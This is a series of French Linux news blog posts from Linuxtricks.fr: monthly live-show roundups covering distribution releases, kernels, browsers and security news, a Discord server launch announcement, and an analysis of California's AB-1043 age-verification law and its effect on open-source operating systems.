C'est un levier de souveraineté mais aussi d'éco-responsabilité, car cela permet de garder le matériel plus longtemps. Cependant, au niveau national, la migration des postes reste timide à part quelques bastions. Passer sous Linux sur le bureau est compliqué à cause des applications métiers historiques très spécifiques ou qui dépendent des composants de Windows.
Mais voir qu'une administration aussi critique que les impôts communique et adhère à ces concepts, c'est un signal très fort !
Liens : https://www.numerique.gouv.fr/offre-accompagnement/cloud-administrations/le-cloud-interne/ https://www.generation-nt.com/actualites/fisc-choisit-linux-abandonne-windows-2072130

9. Sécurité : La faille CrackArmor dans AppArmor
On termine avec un point sécurité important : une série de vulnérabilités critiques nommée CrackArmor a été découverte dans AppArmor !
Cela concerne potentiellement 12,6 millions de serveurs Linux tournant sous Debian, Ubuntu ou SUSE. Ces failles permettent notamment une escalade de privilèges... un simple utilisateur sans droits peut ainsi prendre le contrôle total de la machine en étant root !
La faille existe dans le noyau Linux depuis la version 4.11 sortie en 2017, soit 9 ans sans être vue !
Si vous utilisez AppArmor, même sans avoir configuré de profils spécifiques, vous êtes peut-être exposés ! Pensez à mettre à jour vos systèmes immédiatement pour boucher ce trou.
À noter que les environnements Red Hat/Fedora ne sont pas touchés puisqu'ils utilisent SELinux
Lien : https://cybersecuritynews.com/crackarmor-vulnerability/

Merci d'avoir été là pour cette 100e, c'était un plaisir de partager tout ça avec vous !
J'espère que ce résumé vous a plu !

Ouverture du Discord Linuxtricks !

✇Actualités - Linuxtricks.fr
Bonjour à tous,

à travers ce billet, je suis ravi de vous annoncer l'ouverture d'un serveur Discord !
Vous trouverez toutes les infos sur la page dédiée sur le site : https://www.linuxtricks.fr/pages/communaute-linuxtricks-sur-discord

Après avoir cliqué sur le lien, vous arrivez directement dans un salon "Accès" qui vous permettra de valider la lecture des règles, et de sélectionner via des emojis ce que vous souhaitez voir sur le serveur, suivant la langue (Français et/ou Anglais) et la communauté (Linuxtricks et/ou DJ).

Depuis 2021 (le 22 juillet 2021 dans les logs), j'ai créé ce serveur Discord, et j'ai construit la structure pour migrer l'espace d'échange que nous avons depuis 2018 sur Telegram.
En effet, Discord est plus populaire que Telegram et j'ai eu durant ces années plusieurs remarques sur mon absence sur Discord.

Cependant, depuis début 2023, j'ai un serveur Discord pour la communauté DJ, mais ce serveur réunit des francophones et des viewers étrangers (Pologne, USA, Argentine, Espagne, Allemagne, notamment). Il y a donc des salons français et anglais.

Actuellement, la communauté Linuxtricks sur Telegram est francophone uniquement, mais sur mes live Twitch, on a eu l'occasion de voir quelques viewers étrangers, d'ailleurs vous avez kiffé mon accent anglais n'est ce pas ?

Je suis dispersé sur Telegram et Discord, et depuis un bon moment, je voulais réunir tout ce monde sur un seul serveur. Cependant, la tâche n'est pas facile.
- Est-ce vraiment une bonne idée de fusionner les 2 communautés ?
- Faut-il faire deux serveurs Discord ?
- Faut-il rester sur 2 plateformes différentes ?
- Faut-il faire du multilingue ou rester uniquement en Français ?

Tant de questions depuis 2022... mais début 2026, je me suis décidé à faire la fusion.
C'est je pense une bonne idée. J'ai invité les modérateurs de mes chaines Twitch respectives depuis le 7 février pour avoir des avis externes et terminer l'élaboration de l'affaire.

Entre temps, Discord a annoncé vouloir vérifier l'âge des utilisateurs de la plateforme.
Fallait-il renoncer ? Fallait-il partir sur une solution auto-hébergée ?

Mauvais timing, mais je fais le choix de conserver le lancement de Discord pour plusieurs raisons :
- La plateforme est populaire, beaucoup ont un compte sur cette plateforme
- Si la vérification d'âge n'est pas faite par vous, ce n'est pas grave, nous n'avons pas de sujets interdit au plus de 18 ans donc vous pourrez rester avec un compte "Ado" (c'est la suggestion de son nom)
- Réunir les 2 communautés permet d'avoir qu'un point central pour moi et y être potentiellement plus présent
- Certains font partie des 2 communautés, donc ça sera aussi plus simple
- Je n'ai pas envie d'autohéberger une solution. Cela reviendrait à créer un compte sur une machine que je possède et par conséquent tenir un registre RGPD avec les données collectées.

Aussi, dans la communauté DJ, j'ai des geeks parmi mes viewers étrangers, c'est l'occasion donc d'ouvrir une section anglophone pour Linuxtricks.

Aujourd'hui, je suis sur peu de serveurs Discord et beaucoup sont sur sourdine. Ce que je n'aime pas chez les autres, vous ne le retrouverez pas sur mon serveur Discord, à savoir :
- Des mentions @all ou @everyone
- Un nombre excessif de salons
- Des salons vocaux (et de toute façon, c'est pas possible de modérer à postériori)

Il y a 2 salons pour les annonces, mais les robots postant les annonces ne mentionneront ni rôle, ni tous.

On reste donc sur une hiérarchie relativement simple.

Une section Informations avec :
- Un salon annonces pour Linuxtricks
- Un salon annonces pour DJ
- Un salon dédié aux règles dans lequel il n'y a pas de nouveau contenu
- Un salon accès dédié à la sélection des rôles souahités (à l'arrivée et à postériori).

Une section General (commune aux communautés Linuxtricks et DJ) avec :
- Un salon Français
- Un salon Anglais (s'affiche que si vous avez choisi la langue Anglaise)

Une section Linuxtricks (pour la communauté Linuxtricks si vous avez sélectionné ce rôle) avec :
- Les salons français par thème qui étaient sur Telegram (Général informatique, entraide, nouvelles opensource, sécurité)
- Un espace "pro" pour des discussions pour les problématiques d'entreprises (serveur, réseau, ...)
- Un salon général Anglais (s'affiche que si vous avez choisi la langue Anglaise)
- Un espace de support en Anglais (s'affiche que si vous avez choisi la langue Anglaise)

Une section DJ (pour la communauté AdrienLT_DJ si vous avez sélectionné ce rôle) avec :
- Un salon général Français
- Un salon général Anglais (s'affiche que si vous avez choisi la langue Anglaise)
- Un salon multilingue pour partager les morceaux de musique que vous aimez
- Un salon multilingue pour partager vos photos de setup DJ

Cela fait chargé au premier abord, mais si vous venez de Telegram et que vous ne souhaitez que la partie Linuxtricks Française, c'est relativement simple.
Je ne focalise ici dans cet article que si vous êtes intéressé par Linuxtricks et en Français, car c'est à vous que je m'adresse :)

N'hésitez pas à nous rejoindre, je vais passer le Telegram en lecture seule prochainement pour éviter d'avoir 2 communautés.
Idem pour le discord DJ où je vais inviter les membres à rejoindre le serveur fusionné !

A très vite sur Discord !

Californie AB-1043 et le monde OpenSource : Résumé mon analyse

✇Actualités - Linuxtricks.fr
Comme vous avez été nombreux à m'interpeller sur ce texte, j'avais déjà publié une première réaction sur le blog le 4 mars dernier.
Mais sachant que vous êtes nombreux à privilégier YouTube, j'ai pris le temps ce week-end de creuser le sujet en profondeur pour vous proposer cette analyse complète en vidéo et dans cet article.

CALIFORNIA AB-1043 : OPENSOURCE EN DANGER ?

Imagine un instant devoir déclarer ta date de naissance à ton système d'exploitation lors de l'installation de ta distribution Linux préférée (Fedora, Arch Linux, Debian, Linux Mint, Ubuntu...), pour que cette information soit ensuite transmise en temps réel à chaque application que tu lances. De la science-fiction ? Plus pour très longtemps. C'est exactement ce qu'exige la nouvelle loi californienne AB-1043 (le Digital Age Assurance Act), prévue pour entrer en vigueur le 1er janvier 2027. Et le monde du logiciel libre n'est absolument pas épargné.

Qu'est-ce que la loi AB-1043 ?
La protection des mineurs sur Internet est un vieux combat politique. Mais au lieu de s'attaquer uniquement aux sites web ou aux navigateurs, les législateurs californiens ont décidé de descendre plus bas dans les couches technologiques : directement au niveau du système d'exploitation.

Signé en octobre 2025 par le gouverneur de Californie, le texte impose une mécanique stricte :
  • Tout fournisseur d'OS doit collecter l'âge ou la date de naissance lors de la configuration initiale du compte utilisateur.
  • L'OS doit classer l'utilisateur dans l'une des quatre tranches prévues : moins de 13 ans, 13-15 ans, 16-17 ans, ou 18 ans et plus.
  • Cette donnée doit être exposée aux développeurs d'applications via une API en temps réel dès qu'un logiciel est lancé ou téléchargé.

Les sanctions font mal : jusqu'à 2500$ par infraction négligente, et jusqu'à 7500$ par infraction intentionnelle, par enfant concerné.

Le problème majeur ? La loi définit un "fournisseur de système d'exploitation" comme toute entité développant ou contrôlant l'OS d'un appareil informatique à usage général. Aux côtés de Windows, macOS ou Android, on retrouve de facto Ubuntu, Fedora, Debian, Arch, Gentoo ou encore SteamOS. Aucune exception n'est actuellement prévue pour le logiciel libre.

Une incompatibilité technique et philosophique avec Linux
Le modèle supposé par les législateurs est celui d'Apple, Microsoft ou Google : un compte utilisateur centralisé et un assistant d'installation graphique bien balisé. Mais le monde de l'Open Source ne fonctionne pas ainsi.

Comment gérer cette exigence lorsqu'on tape des commandes dans un terminal pour installer Arch Linux, lorsqu'on déploie un serveur Debian sans interface graphique, ou lors d'une compilation Gentoo depuis les sources ? De plus, nos distributions sont maintenues par des communautés de bénévoles (comme pour Arch ou Debian) et distribuées via des miroirs décentralisés à travers le monde. Comment l'État de Californie compte-t-il imposer des amendes à des entités purement communautaires dépourvues de structure juridique aux États-Unis telles que Arch ou Debian ?

Des discussions informelles ont lieu. Chez Fedora, on étudie l'idée d'ajouter cette tranche d'âge dans /etc/passwd (ou un fichier similaire) couplé à un service D-Bus local. Sur la mailing list d'Ubuntu, des réflexions émergent aussi (bien que Canonical annoncera officiellement la couleur s'ils décident de faire quelque chose). Une implémentation 100% locale et sans télémétrie respecterait l'esprit du libre.

Cependant, nous sommes dans l'Open Source : n'importe quel utilisateur peut recompiler son noyau ou modifier le code source. La valeur juridique d'un tel bridage technique facilement contournable serait donc complètement nulle.

Le risque de fragmentation géographique de l'Open Source
Plus grave encore, cette législation entre en conflit direct avec les licences libres, qui interdisent formellement la discrimination d'utilisateurs ou de groupes de personnes. Si un projet décide de se protéger juridiquement en bloquant les téléchargements depuis la Californie, il viole les principes mêmes du logiciel libre.

Ce n'est d'ailleurs plus un scénario purement théorique : la distribution MidnightBSD a déjà annoncé son intention d'interdire l'usage de son système desktop en Californie à partir de 2027 à cause de ces risques juridiques. Si la Californie — le plus grand marché technologique américain — parvient à imposer cette norme, l'effet domino pourrait rendre la vérification d'âge au niveau de l'OS standardisée à l'échelle mondiale. Et on peut s'étonner de l'absence totale de réaction publique, lors du vote du texte, de la part de la Linux Foundation ou de la FSF qui n'ont pas tiré la sonnette d'alarme.

Des lueurs d'espoir pour 2026
Tout n'est pas perdu. Lors de la signature du texte, le gouverneur de Californie a lui-même demandé de retravailler la loi en 2026 pour corriger des problèmes concrets, comme la gestion des PC familiaux où adultes et enfants partagent parfois des sessions ou des jeux. Récemment, en mars 2026, plus de 400 scientifiques ont également signé une lettre ouverte s'opposant fermement à ces systèmes de vérification d'âge.

Par ailleurs, dans le Colorado où un texte similaire est à l'étude, le dialogue a fonctionné. Des rencontres avec le PDG de System76 (l'éditeur de Pop!_OS) ont permis de proposer des amendements pour exclure explicitement l'Open Source du champ d'application. Des réflexions similaires commencent à émerger pour corriger la loi californienne.

L'essence même du logiciel libre est de garantir un système qui ne t'espionne pas, ne te classe pas selon ton profil (âge, sexe, opinions) et ne transmet pas tes données sans ton consentement éclairé. Si aujourd'hui on accepte de collecter et transmettre notre âge à des tiers, qu'est-ce que ce sera demain ? C'est le moment pour les fondations et la communauté de se faire entendre.

Pour retrouver l'analyse complète de ce sujet, ma vidéo est disponible ici : https://www.youtube.com/watch?v=ajzH2utmEfY

CKOIKIDI 98 : Résumé du live des actus de janvier 2026

✇Actualités - Linuxtricks.fr
Salut à toutes et à tous !

Voici un billet récapitulatif du CKOIKIDI #98, mon émission en direct du 4 février 2026.

Comme d'habitude, j'ai fait ma veille sans aucune aide de l'IA.
On m'a demandé comment je faisais ma veille : Phoronix, Fedora Magazine, OMG! Ubuntu!) et le groupe LinuxGram sur Telegram pour dénicher du contenu pertinent.
Le mois de janvier a été calme, mais j'ai sélectionné quelques actus.

Voici le résumé complet, avec mes analyses et mes remarques :

1. Linux Mint 22.3 est là !
La grande nouvelle de la mi-janvier, c'est la sortie de Linux Mint 22.3 en version stable. Si vous utilisez déjà la 22.2, sachez que le système ne se mettra pas à jour tout seul : vous devez lancer manuellement la montée en version via le gestionnaire de mises à jour, sous l'onglet "Édition".
La star de cette mouture est l'environnement Cinnamon 6.6, qui apporte un nouveau menu d’applications. Je vais être honnête, je ne l'aime pas trop; il change brutalement les habitudes, notamment avec le déplacement de la barre de recherche, même s'il reste personnalisable.
Ceux qui utilisent la LMDE (Linux Mint Debian Edition) on reçu ces nouveautés automatiquement, un peu comme une "rolling release" pour l'interface.
Un autre ajout majeur est l'outil de diagnostic fusionné qui propose un équivalent graphique aux commandes lsusb et lspci pour voir les détails du GPU ou du BIOS. On y trouve aussi un nouvel utilitaire pour configurer le GRUB graphiquement, ce qui évite de bidouiller les fichiers texte dans /etc/default/grub.
Les nouvelles installations bénéficient du noyau HWE 6.14, garantissant un meilleur support matériel récent.
Notez aussi des améliorations sur les XApps et une meilleure gestion des claviers sous Wayland.

2. Linux From Scratch abandonne Sys V Init
Le projet LFS, qui permet de construire sa distribution de A à Z, a annoncé un changement historique le 1er février. L'équipe abandonne officiellement le support de SysVinit dans ses manuels pour se concentrer exclusivement sur Systemd.
Cette décision s'explique d'abord par la charge de travail monumentale pour les bénévoles qui doivent maintenir plus de 1000 paquets. De plus, des environnements comme GNOME et KDE (version 6.7+) imposent désormais Systemd comme prérequis pour la compilation.
Pour moi, c'est une décision logique puisque Systemd est devenu le standard universel dans le monde professionnel, que ce soit sous Debian, Red Hat ou Ubuntu. Même si certains puristes seront déçus, cela simplifie l'apprentissage (vu qu'on connait de façon générale des distributions avec systemd en entreprise et dans la tech).

3. BAZZITE : Le drama :(
C'est le dossier brûlant qui m'a fait un peu regretter d'avoir mis en avant cette distribution récemment. Un développeur clé, Anteas, a publié un "post-mortem" suite à son exclusion du projet par le fondateur, Kyle.
Kyle est accusé de gérer Bazzite comme son "OS personnel", en poussant des changements instables juste pour ses propres besoins.
Par exemple, il a supprimé prématurément X11 et forcé le passage à iwd pour le Wi-Fi, cassant la connexion de nombreux utilisateurs.
La communauté sur Discord est décrite comme toxique, avec des bannissements arbitraires pour quiconque signale un bug dérangeant.
Suite à ce conflit d'ego, les projets Aurora et Bluefin ont même quitté le serveur Discord commun pour s'en distancier. Le projet est passé de 500 à 60 000 utilisateurs par semaine depuis 2023, mais sa viabilité est aujourd'hui menacée par ce manque de sérieux communautaire.
Heureusement, grâce au système atomique d'Universal Blue, vous pouvez basculer vers Bluefin avec une simple commande rebase sans tout réinstaller.

4. Debian va retirer GTK2 dans Debian 14 !
L'équipe Debian a confirmé son intention de faire le ménage dans ses dépôts pour la future version 14 prévue en 2027. L'objectif est de supprimer complètement GTK2, un kit graphique qui n'est plus mis à jour depuis des années.
Il faut savoir que GTK3 est là depuis 15 ans et que même GIMP, le dernier grand logiciel à l'utiliser, est enfin passé à GTK3 avec sa version 3.0.
Arch Linux et RHEL 10 ont déjà franchi le pas, et Debian ne veut pas rester à la traîne avec des bibliothèques obsolètes. Cela pourrait poser problème à ceux qui utilisent encore de vieux scripts Python ou des applications de dépôts tiers non maintenues, donc prenez note !
Sur ma Fedora, j'ai remarqué que Steam dépend encore un peu de GTK2, donc il va y avoir du travail de transition.
Debian stable reste protégée pour l'instant, mais les utilisateurs de "Sid" verront les changements arriver bientôt, ou tout utilisateur ayant une distrib basée sur "Sid".

5. WINE 11 : Une petite révolution !
La version 11.0 de Wine, sortie à la mi-janvier, est ce que j'appelle un excellent cru d'ingénierie.
La grande nouveauté est la maturité du mode WoW64, qui permet de faire tourner des applications Windows 32 bits sur un système Linux 64 bits sans bibliothèques 32 bits.
C'est majeur, car cela permet enfin d'envisager la fin du "multilib", cette couche de dépendances souvent pénible à gérer.
Sur ma propre machine, j'ai 196 paquets 32 bits installés uniquement à cause de Steam, ce qui est absurde selon moi en 2026.
Wine 11 permet même de faire revivre de très vieilles applications 16 bits, ce que Windows lui-même ne supporte plus nativement.
On note aussi des améliorations de performance grâce au module noyau NTSync et une meilleure gestion de Wayland et Vulkan.
J'espère vraiment que Valve va mettre à jour son client Steam en 64 bits pur pour profiter de cette avancée et de ne plus avoir de 32bits une bonne fois pour toute !
C'est une version qui stabilise des années de travail sur la gestion de la mémoire et les API Win32/Win64.
Pour les professionnels, c'est une garantie de meilleure stabilité pour les logiciels métiers exigeants.

6. Firefox 148 permettra de désactiver les fonctions IA
Mozilla a fait preuve de bon sens en écoutant les critiques de sa communauté concernant l'intégration de l'IA.
Dans la version 148 prévue pour le 24 février, dans le menu "AI Control" fera son apparition un véritable "kill switch" qui permet de désactiver toutes les fonctions d'intelligence artificielle en un seul clic. Cela bloquera notamment les traductions automatiques, les suggestions de regroupement d'onglets et les raccourcis vers les chatbots.
C'est une excellente nouvelle pour ceux qui ont des machines moins puissantes, car ces fonctions sollicitent inutilement le CPU et la RAM.
Si vous ne voulez pas d'IA dans votre navigateur, vous n'aurez plus besoin de passer par des versions modifiées comme LibreWolf.
Mozilla prouve qu'on peut innover sans imposer de nouvelles technologies gourmandes. C'est une victoire pour la clarté et la performance du logiciel libre.

7. Vivaldi 7.8 : Pas d'IA mais plein de nouveautés
Mon navigateur personnel, Vivaldi, a sorti sa version 7.8 avec un slogan très clair : "aucune foutaise d'IA".
Le PDG, Jon von Tetzchner, préfère se concentrer sur des fonctionnalités de productivité demandées par les utilisateurs. La nouveauté phare est l'amélioration de la juxtaposition d'onglets par glisser-déposer, rendant la navigation multitâche encore plus fluide.
Vivaldi reste un logiciel "presque libre" (basé sur Chromium mais avec une interface propriétaire), mais il est souverain et européen.
Dans le live, on m'a posé la question sur son modèle économique : il est transparent, reposant sur des partenariats avec les moteurs de recherche et des commissions sur les favoris, sans collecter vos données.
On m'a questionné sur mon usage et j'utilise énormément la navigation à la souris et la juxtaposition d'onglets, des fonctions que je ne retrouve nulle part ailleurs. Je l'utilise aussi sur mobile, avec la synchronisation des données (favoris, mots de passe) de manière chiffrée avec sa propre phrase de passe.
Le navigateur intègre aussi un client mail et un lecteur de flux RSS très performants.
C'est le choix idéal pour ceux qui veulent un outil puissant, sans télémétrie abusive ni gadgets à la mode.

8. Un dépôt RPM pour Firefox : Un pied de nez aux paquets universels ?
Mozilla continue de s'émanciper des distributions en proposant son propre dépôt RPM officiel, après l'avoir fait pour les paquets DEB.
C'est une annonce intéressante puisque Red Hat Enterprise Linux (RHEL) 10 ne propose plus Firefox dans ses dépôts de base, poussant uniquement vers Flatpak.
Ce dépôt permet d'installer Firefox Nightly dès maintenant, et les versions stables d'ici la fin de l'année, sur les distributions RPM
L'avantage est majeur : vous recevez les mises à jour directement de Mozilla avec des optimisations de performance liées à leurs propres compilateurs. De plus, les binaires sont durcis avec des FLAG de sécurité activés dès la compilation.
Cela permet déviter la version ESR (Extended Support Release) souvent imposée par les distributions comme Rocky, Alma ou Mageia par exemple, qui peut être trop ancienne pour certains usages.
On n'a pas besoin de créer manuellement son fichier .desktop pour avoir Firefox dane le menu des applications comme on devait le faire si on récupérait l'archive tar.gz, et tout est intégré proprement au gestionnaire de paquets.
C'est une solution de confiance qui garantit la fraîcheur du logiciel sans dépendre des cycles de maintenance des distributions.

9. Sécurité : L'infra de Notepad++ vulnérable : danger pour les utilisateurs
Un incident de sécurité sérieux a touché le mécanisme de mise à jour de Notepad++ entre juin et décembre 2025.
Ce n'est pas le code du logiciel lui-même qui a été piraté, mais l'infrastructure de son ancien hébergeur. Des attaquants ont détourné le trafic pour proposer des versions infectées de l'application à certains utilisateurs ciblés.
C'est ce qu'on appelle une "supply chain attack" très fourbe, car l'utilisateur pense télécharger une mise à jour officielle.
Le problème a été corrigé avec la version 8.8.9, qui vérifie désormais systématiquement les certificats et signatures numériques.
J'ai souligné pendant le live que sous Linux, ce genre de problème est "quasi" impossible, car nos distributions compilent le code source récupéré de github ou tout autre dépôt de code avant de le distribuer.
Sous Windows, chaque logiciel gère ses propres mises à jour via des mécanismes différents, ce qui peut créer des failles potentielles comme vu dans cet exemple.
Si vous utilisez encore Notepad++ sous Windows, désinstallez-le et repartez sur une installation propre de la dernière version. Pour les utilisateurs sous Linux, il existe des alternatives comme Notepadqq, et j'ai indiqué que j'ai contribué initier la traduction en françaisen 2014 par là avec mon amis David, packageur chez Mageia.

10. KDE 6.6 : Testez l'intégration dans Fedora Linux !
On termine sur une sensibilisation à la contribution pour les utilisateurs de Fedora.
Des journées de test (Test Days) sont organisées pour valider l'intégration de KDE Plasma 6.6 avant sa sortie stable en février.
C'est le moment de tester des fonctions critiques comme l'audio, le tableau de bord ou le nouveau gestionnaire de fenêtres.
Une nouveauté importante à surveiller est le Plasma Login Manager, qui vient remplacer l'historique SDDM pour la gestion de la connexion.
Participer à ces tests permet de remonter des bugs d'intégration en signalant via un coche verte ou rouge suivant le résultat des tests effectués.
On m'a demandé mon avis sur le chat sur la lourdeur de KDE, qui pour moi est un peu plus léger que GNOME ces derniers temps, ce qui le rend très attractif pour les configurations moyennes.
Si vous avez une machine de test ou une machine virtuelle, votre aide est précieuse pour valider la bonne intégration de l'environnement.

Merci d'avoir lu ce résumé complet !

N'hésitez pas à me dire ce que vous avez pensé de ce format pour savoir si je poursuis ce type de résumé post-live.

CKOIKIDI 99 : Résumé du live Actus du libre Février 2026

✇Actualités - Linuxtricks.fr
Salut à toutes et à tous !

Voici un billet récapitulatif du CKOIKIDI #99, mon émission en direct du 4 mars 2026.
Le replay est dispo ici : https://youtube.com/live/1psEg-2KLvQ

Vous avez bien aimé le premier résumé, alors je continue sur ma lancée.

Voici le résumé complet, avec mes analyses et mes remarques :

1. Ubuntu 24.04.4 est là avec un kernel 6.17...
On commence avec la sortie de la version 24.04.4 LTS d'Ubuntu, qui fait office de gros "Service Pack" regroupant toutes les mises à jour depuis le lancement. Le point central est l'arrivée du noyau 6.17 via la pile HWE (Hardware Enablement), permettant de supporter les processeurs et cartes graphiques les plus récents. Les pilotes graphiques Mesa sont également mis à jour, ce qui est une excellente nouvelle pour les performances en jeu sur Linux. Les images ISO ont été régénérées pour vous éviter de récupérer toutes les MàJ depuis 2024.
Cependant, tout n'est pas rose : cette version provoque un Kernel Panic au démarrage si vous utilisez VirtualBox, un bug déjà identifié sur la version 25.10 mais poussé quand même en LTS.
Si vous n'avez pas besoin spécifiquement de VirtualBox, privilégiez Gnome Boxes pour la virtualisation.
On a fait un sondage et sur Twitch, il a montré que vous êtes une majorité à utiliser une base Ubuntu ou une version LTS. Je trouve dommage que Canonical se disperse parfois au lieu de stabiliser ces points critiques. En résumé, c'est une mise à jour solide pour le matériel récent, malgré ce raté sur VirtualBox.
Liens : https://lists.ubuntu.com/archives/ubuntu-announce/2026-February/000321.html

2. Le freeze d'Ubuntu 26.04 LTS a commencé
Quelques infos sur la prochaine version majeure, la 26.04 LTS, dont le nom de code est Resolute Raccoon (le Raton Laveur Déterminé). Le "Feature Freeze" a commencé, ce qui signifie qu'on ne rajoute plus de nouvelles fonctionnalités pour se concentrer sur la chasse aux bugs. C'est une phase importante un mois et demi avant la sortie finale prévue le 23 avril. Elle sera supportée 5 ans par défaut, et jusqu'à 10 ou 12 ans avec un compte Ubuntu Pro gratuit pour particulier.
Attention toutefois, les variantes comme Kubuntu ou Xubuntu ne bénéficient que de 3 ans de support car leurs paquets sont dans le dépôt "Universe". Cette version devrait embarquer Gnome 50 et surtout le futur noyau Linux 7.0.
J'attends la bêta avec impatience pour voir ce que ce raton laveur a dans le ventre et préparer la vidéo de présentation qu'on sortira le jour J comme vous aimez bien.
Liens : https://www.phoronix.com/news/Ubuntu-26.04-Feature-Freeze

3. Primtux 9 est disponible !
C’est une actualité qui me tient à cœur : la sortie de PrimTux 9, une distribution française dédiée aux écoles primaires. Elle est désormais basée sur Linux Mint 22.3, ce qui lui assure une stabilité et un support jusqu'en 2029. L'interface est géniale car elle propose des sessions par tranches d'âge (cycles 1, 2 et 3) avec des applications adaptées à chaque niveau.
On y trouve des logiciels comme Tux Paint, TuxMath ou des outils d'orthographe accessibles hors ligne. Cette version intègre aussi Duck AI pour une initiation à l'IA respectueuse de la vie privée via DuckDuckGo. Le filtrage DNS et le contrôle parental sont inclus par défaut pour protéger nos bambins.
Le navigateur pointe directement sur Qwant Junior, ce qui est parfait pour la sécurité des recherches.
Je trouve ce projet admirable car il montre qu'on peut faire du très bon libre en France pour nos services publics.
J'aimerais beaucoup faire un reportage dans une école près de Dole (Sampans dans le Jura) qui utilise cette distribution pour montrer concrètement son usage. C'est une alternative sérieuse et souveraine face aux solutions propriétaires de Microsoft. N'hésitez pas à l'installer sur un vieux PC pour vos enfants, elle redonne vie au matériel dès 2 Go de RAM.
Liens : https://www.linkedin.com/posts/primtux_primtux-9-est-disponible-apr%C3%A8s-plusieurs-activity-7433511550470172672-fFRn/

4. Gentoo migre ses dépôts sur Codeberg
La distribution Gentoo a annoncé son départ progressif de GitHub pour rejoindre Codeberg, une plateforme allemande à but non lucratif. Historiquement, Gentoo hébergeait ses "ebuilds" (les recettes de compilation) sur GitHub, mais le rachat par Microsoft pose des problèmes éthiques. L'une des raisons majeures est la volonté d'éviter que leur code source ne serve à alimenter Microsoft Copilot sans leur consentement.
Codeberg s'appuie sur Forgejo, un outil libre et souverain et Codeberg est hébergé en Europe.
Pour l'instant, Codeberg servira de miroir pour faciliter les contributions externes via des "Pull Requests". Pour l'utilisateur final de Gentoo, cela ne change absolument rien aux mises à jour quotidiennes.
J'ai indiqué dans le live que je comprenais tout à fait ce choix politique et souverain, même si je reste sur GitHub pour mes propres projets par commodité.
C'est un signal fort envoyé par un grand projet Linux.
Liens : https://www.gentoo.org/news/2026/02/16/codeberg.html

5. Alma Linux propulse plus de 2 million de serveurs !
En tant que contributeur à AlmaLinux, je suis fier de vous partager des actus sur le projet.
Niveau usage, Alma Linux a franchi la barre des 2 millions de serveurs actifs.
La progression est impressionnante: on est passé de 1 million à 2 millions en seulement un an. La distribution s'est émancipée de son rôle de clone "bug-for-bug" de Red Hat pour proposer des améliorations concrètes.
Par exemple, Alma a réintroduit le support de BTRFS et des processeurs X86-64-v2 que Red Hat avait abandonnés. Elle fourni aussi des pilotes Nvidia signés pour le Secure Boot directement dans ses dépôts, ce qui est un gain de temps énorme pour les serveurs tout en ne dégradant pas la sécurité.
Le projet Elevate permet désormais de migrer facilement d'Alma 9 vers Alma 10 (normal ou Kitten).
Je considère que c'est aujourd'hui la meilleure distribution serveur, alliant stabilité de 10 ans et pragmatisme technique (OK je ne suis peut être pas neutre dans l'avis).
Les statistiques montrent une adoption massive, probablement au détriment de CentOS plus maintenues ou de Red Hat EL trop coûteux.
Même si on n'aime pas la télémétrie dans le monde du libre, ces chiffres confirment que le projet a une place centrale dans l'écosystème.
Liens : https://almalinux.org/blog/2026-02-25-almalinux-2025-recap/

6. Linux 6.19 est là avec des améliorations !
Le noyau Linux 6.19 est sorti le 10 février avec son lot d'améliorations habituelles. On note un nouveau pilote pour les cartes réseau Intel qui réduit la latence et booste les débits.
Côté graphisme, les possesseurs de vieilles cartes AMD bénéficient d'un boost de performance de 30 % grâce à la bascule vers le pilote AMDGPU.
C’est aussi le début du support du HDR pour le bureau Linux, une excellente nouvelle pour les créateurs de contenu.
Le système de fichiers BTRFS reçoit également des patchs pour améliorer la résilience des données.
Linus Torvalds a qualifié cette version de standard, sans révolution majeure, mais toujours efficace. Si vous êtes sur une rolling release comme Arch ou sur des distributions stables actives comme Fedora, vous l'avez probablement déjà reçu.
On voit que le noyau continue de s'adapter au matériel le plus récent, notamment les processeurs ARM.
Je l'utilise actuellement sur ma machine et tout fonctionne parfaitement.
Liens : https://linux.developpez.com/actu/380109/Linus-Torvalds-a-publie-la-version-finale-du-noyau-Linux-6-19-avec-de-meilleures-capacites-reseau-pour-les-cartes-reseau-Intel-et-des-ameliorations-au-niveau-des-GPU-pour-les-cartes-graphiques-AMD/

7. Le kernel 7.0 arrive !
Ne vous attendez pas à une révolution, la version 7.0 du noyau arrive simplement parce que Linus Torvalds n'aime pas compter au-delà de 20 :)
C’est une évolution qui se concentre sur la gestion de la mémoire pour les processeurs possédant des centaines de cœurs. L'intelligence artificielle est aussi à l'honneur avec des pilotes dédiés aux NPU (Neural Processing Units) intégrés dans les nouveaux PC. On y retrouvera également un meilleur support pour l'USB 4.0 et les écrans à très haute fréquence de rafraîchissement.
Ce sera le noyau par défaut de la prochaine Ubuntu 26.04 LTS.
Linus lui-même dit que c'est une "évolution, pas une révolution", il ne faut donc pas fantasmer sur ce numéro de version. On reste sur une base stable avec quelques ajouts pour le matériel futuriste.
C'est surtout une étape symbolique qui marque la fin du cycle 6.x.
Liens : https://www.linuxjournal.com/content/linux-70-coming-what-expect-next-major-kernel-release

8. Extension du support Linux 6.18 LTS / 6.12 LTS / 6.6 LTS
Excellente nouvelle de la part de Greg Kroah-Hartman : le support de plusieurs noyaux LTS est prolongé.
Le noyau 6.18 voit sa fin de vie passer de 2027 à 2028, tandis que le 6.6 gagne également un an. C’est une décision importante pour rendre Linux viable sur les déploiements critiques de long terme.
Cela va grandement aider des distributions comme Debian 13 qui s'appuient sur le noyau 6.12. Les mainteneurs de Debian auront moins de travail de rétroportage des correctifs de sécurité sur les dernières années.
Canonical et Red Hat continuent de toute façon de maintenir leurs propres noyaux, mais pour la communauté, c'est intéressant.
Pour rappel, le noyau LTS est traditionnellement le dernier sorti dans l'année.
Liens : https://kernel.org/ https://git.kernel.org/pub/scm/docs/kernel/website.git/commit/?id=d04587da86a3464881e0c97aabddd2c271105698

9. sudo : le colosse aux pieds d'argile a besoin d'aide !
C’est le "coup de gueule" du mois : Todd Miller, le mainteneur unique de Sudo depuis 30 ans, manque de moyens.
Il fait face à une baisse de financement de ses sponsors, ce qui ralentit le rythme des correctifs pour cet outil critique.
C'est incroyable de se dire qu'un logiciel présent sur tous les serveurs du monde repose sur les épaules d'un seul homme bénévole.
Todd refuse de confier le projet à n'importe qui, rappelez-vous l'affaire de la backdoor XZ.
Des entreprises comme Canonical développent Sudo-RS en Rust, mais cela n'aide pas le projet original. D'ailleurs la réécriture de sudo en rust a eu déjà 2 CVE en 2025 donc ...
Je pense que des géants comme Red Hat ou Google devraient allouer du temps de leurs développeurs pour aider Todd. On utilise tous Sudo sans se poser de questions mais il est temps que l'écosystème open source prenne ses responsabilités financières.
